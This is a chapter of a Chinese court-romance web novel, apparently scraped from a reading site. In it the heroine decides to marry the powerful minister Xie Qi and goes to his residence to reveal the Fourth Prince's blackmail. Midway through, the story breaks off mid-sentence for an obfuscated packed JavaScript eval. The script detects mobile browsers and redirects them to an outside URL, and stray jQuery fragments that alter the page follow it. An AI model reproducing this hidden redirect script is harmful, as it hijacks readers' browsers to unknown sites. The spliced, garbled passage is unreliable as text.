8. 拜见

作品:《渣了权臣我死遁了

    “姑娘,您终于回来了。”


    秀禾等在正厅门口,看到黎晚回来,忙迎上来。


    “这样大的雪,姑娘去哪了,怎衣裳都沾湿了。”


    秀禾一边拍着黎晚身上的雪花,一边小声道。


    “夫人在宴席上等您,瞧着有些不悦。”


    “知道了。”黎晚心不在焉的应了一声,进屋坐在邹氏身旁。


    邹氏面色严肃,“别人府邸,莫要乱走,若冲撞了贵人,恐落人话柄。”


    “女儿知晓了。”


    邹氏环顾四周,压低嗓音,“你和谁出去的?方才我听说……”


    邹氏的话被一进屋传话的婆子打断,那婆子一脸凝重在林夫人耳边说了一话。


    林夫人脸色瞬变,然,到底是世家主母,迅速交代婆子几句,便恢复笑脸。


    “定是出了岔子。”邹氏默声道。


    寿宴直到散席,黎晚都没再同人交谈,反倒是有几位姑娘好奇的朝她看了几眼。


    “江姑娘留步。”


    上江府马车时,一侍女叫住黎晚,而后走来一位头戴金玉步摇,长相美艳高贵的女子。


    邹氏一看来人,赶忙笑着介绍:“这位是首辅大人的幼女,琼英县主。”


    黎晚福身,“琼英县主安好。”


    琼英县主细细将她打量一番,方开口:“天寒雪大,江姑娘身子不好,还是要仔细些,莫要到什么院中或小路上乱走。”


    她话说的太不客气,连邹氏都愣住,一时不知该接什么。


    黎晚今日已身心俱疲,懒的与她周旋,便道:“县主是怕我在院中或路上遇到谁?请县主明示,以后我遇见他好绕道而行。”


    “胡说什么!”邹氏用力将黎晚拉到身后。


    “县主莫要同我这女儿计较,她没见过世面,不会说话罢了。”


    琼英君主看都没看邹氏,抬手朝黎晚一指,转身上了马车。


    回到江府,邹氏脸都要憋紫了。


    “那琼英县主是当朝首辅陈大人最疼爱的幼女,一出生陛下便赐了县主称号,你今日怎能公然顶撞她?”


    见黎晚不说话,她又道:“还有,你今日是不是同那位许姑娘一同出了宴厅,你可知,今日各家夫人都在议论,原来礼部侍郎多年前纳的姨娘,竟是青楼出身。”


    “宴席散时,我听人说,许姑娘因受不了自己亲生母亲的脏身份,在林府撞墙自尽了,得亏你先回来了。”


    黎晚闻言,仿若又看到许音儿在她面前惨死的模样。


    她垂眸道:“母亲,我累了,先回房了。”说完,便转身离开。


    夜间,雪停了。


    黎晚躺在温暖如春的床榻上,心乱如麻。


    她把一切都想太简单了,上一世的兵败,十二万将士的丧命,还有谢岐被冠上污名,实则却死在战场的这些事,背后定有巨大阴谋。


    她整日处在深闺,又岂能妄想改天逆命。


    再加上那宛如恶鬼的四皇子,江非晚定有一样非常重要的把柄落在他手中,因而他才能如此肆无忌惮的要挟她。


    逼迫她嫁给谢岐,岂不就是让她去谢岐身边做细作。


    谢岐那人,能在他身上讨上好才怪。


    黎晚烦躁翻身,死局,死局,怎么做都是死局。


    抬眼,忽而看到榻边的青瓷瓶,她伸手拿出那枚白玉玉佩,晶莹剔透的玉佩被摩挲的光滑细腻。


    江非晚,你一边被四皇子威胁靠近谢岐,一边又藏着谢岐的玉佩,虚情还是真心,你是不是也在无数个夜晚辗转反侧。


    黎晚眼眸酸涩,为何就不能有两全其美的法子。


    等等!


    黎晚一个鲤鱼打挺坐起,为何总要把谢岐放在自己的对立面!


    上一世他的兵死了,他也死了,所以他才是最不想让四年后悲剧发生的人。


    这不就与她的目的不谋而合。


    为了救他的兵和他的命,她搁这儿费心熬肝,谢岐却还在美滋滋的当权臣,凭什么。


    还有,四皇子逼她接近谢岐,可她本来就是要从谢岐入手调查真相!


    所以,两全其美的法子就是嫁给谢岐,在他身边调查真相,与他一起阻止兵败。


    他处在朝堂之中,凡事都要比她这个闺阁女子容易些。


    黎晚将玉佩放回青瓷瓶,手指拂着瓶身上的梅花雕图。


    喃喃道:“江非晚,嫁给谢岐,你应是愿意的吧,可我不是你,我想念阿爹阿娘,还有哥哥,我想回到我的边境生活。”


    “我也有一心上人,他叫陆良,是我们村里最有力气的男郎,他去了军中,说等建功立业,便回来娶我。”


    “我只能替你在谢岐身边四年,待禹谷关之战过了,我就得回牛田村等阿良哥哥了,……也不知他喜不喜欢你的模样。”


    “若是牛田村还有一个阿晚,我就把阿良哥哥抢过……”


    冬日的夜长而静,黎晚在碎碎念中不知不觉睡着了。


    翌日,冰雪将京城覆盖,宁远侯府的琉璃屋瓦在日光下,熠熠夺目。


    枕云堂书房中,谢岐正坐在紫檀桌案后,修长的手指抵着鬓角,漫不经心的听着底下人议事。


    大理寺卿闫旭悄悄看了谢岐一眼,小心道:“大人,太子殿下的意思是将李猛升为禁军副统领,您看?”


    兵部姜大人跟沈捷常在谢岐身边,他是粗人,说话直接,“咱们才把禁军接手,太子便迫不及待的塞人进来,怎么,怕谢大人独掌禁军,他分不到好处?"


    ”姜怀!”沈捷瞪了姜怀一眼,示意他说话注意点。


    谢岐随意往太师椅上一靠,“为了搞定冀成安,太子殿下可是不惜受伤用上苦肉计,给他的人提个副统领而已,本官若不应,岂不小气。”


    闫旭暗暗一惊,谢岐作为世族大家谢氏长子,表面清贵文雅,实则与他接触后方知,他行事狠辣,城府极深,想要从他身上占到便宜,难如登天,今日怎这样好说话?


    只不过既然谢大人同意,他也好向太子交差,便拱手道:“是,谢大人。”


    闫旭退下后,姜怀方粗里粗气的问:“大人,咱们真要让太子的的人任副统领?”


    谢岐不屑一笑,“那个叫李猛的,当副统领前可以是太子的人,当了后,就得是本官的人,他应允,副统领继续干,不应允,便为他准备好殉职抚慰金。”


    “是。”姜怀莫名心安,这才是他认识的谢大人。


    沈捷上前一步,“还有一事,兵部尚书恶疾缠身已久,他长子派人来问,是否继续为他吊着气?”


    谢岐看了眼桌上宫里送来的暗报,道,“病


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307388|167235||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    榻难过,就让他老人家早登极乐去。”


    姜怀嘿嘿一笑,“终于能不用管那个老家伙了。”


    沈捷才又要瞪他,门口传来田管家的声音。


    “大公子,有人递了拜贴,想见您,现下人就等在府门前。”


    谢岐皱眉,一般官员及宫里的人想见他,皆会将拜帖递至兵部,甚少有人会来宁远侯府直接寻他。


    “进。”


    田福进来后,弯腰递上拜帖。


    谢岐打开,第一眼便被上头的字刺到,怎会有人的字如此之丑,像稚儿描写大人的字,不伦不类。


    不过他见过她的字,此拜帖不是她亲笔。


    他忍着不适看完,眸光落在‘江非晚’三字上几息。


    “她亲自递了帖子?”


    田福躬身,“是,江姑娘连帏帽都未戴,自称有事与大人相商。”


    沈捷和姜怀对视一眼,户部尚书嫡女光明正大拜见兵部侍郎,看着也无不妥,可总觉得哪哪都别扭。


    谢岐合上拜帖,骨节分明的食指在上面轻点着,“带她去前厅。”


    “是。”


    黎晚被带到侯府前厅,秀珠留在屋外等候。


    下人奉上茶点后不久,谢岐便进来了。


    黎晚抬眼看向他,冬日严寒,他却只穿了件玄色织金云纹锦袍,腰间束乌金宽带,行走间衣摆如墨云翻涌,气场强大。


    反观自己,一件极厚的淡蓝刺绣大氅被她紧紧裹至脖颈,只剩一张巴掌大的脸露在外面,像个蜷缩的小兔子。


    察觉到自己还未开口便失了气场,她忙挺直腰身,起身行礼:“谢大人安好。”


    谢岐撩袍在上位圈椅坐下,嘴角微勾,指了指黎晚手边的茶点。


    “江姑娘怎未用茶点,放心,茶中没有下给兽物用的迷药。”


    听出他意有所指,黎晚心虚脸颊一红,“大人怎还记仇,说好我从楼上跳下那事便揭过。”


    黎晚说着话,眼睛却不受控制的往他腰腹下扫去,瞬间,脸颊更红。


    谢岐自然也想到了当日之事,轻咳一声,“不知江姑娘今日来府,是有何事与本官相商?”


    黎晚看向他,黑漆漆的眼眸透出无助,“大人,我是遇到难事,实在不知该怎办,这才来寻大人助我。”


    谢岐挑眉,“本官和江姑娘只两面之缘,你为何断定,本官会助你?”


    “可此难事,是与大人有关。”


    谢岐看着她,没有说话。


    黎晚蜷了蜷手指,道:“谢大人是不是和四皇子有过节?”


    谢岐看了一眼她冻的微红手指,“江姑娘为何有此一问?”


    “四皇子拿捏了我的短处,逼我勾……接近大人,以此为他打探情报。”


    “我想他定是想对付您,可又在明面上斗不过您,这才让我到您身边做细作,寻机扳倒您。”


    谢岐青筋微凸的手指在圈椅扶手处随意搭着,静静看着她。


    黎晚在椅子上侧过身,完全面对他。


    “大人,我选择向您坦白此事,是因知您是好官,不想助纣为虐,可我又惧怕四皇子的权势手段,这才来寻您帮我。”


    谢岐垂眸轻笑一声,“还不笨,选对了。”


    黎晚一看他笑了,暗道有戏,“大人是同意帮我了?”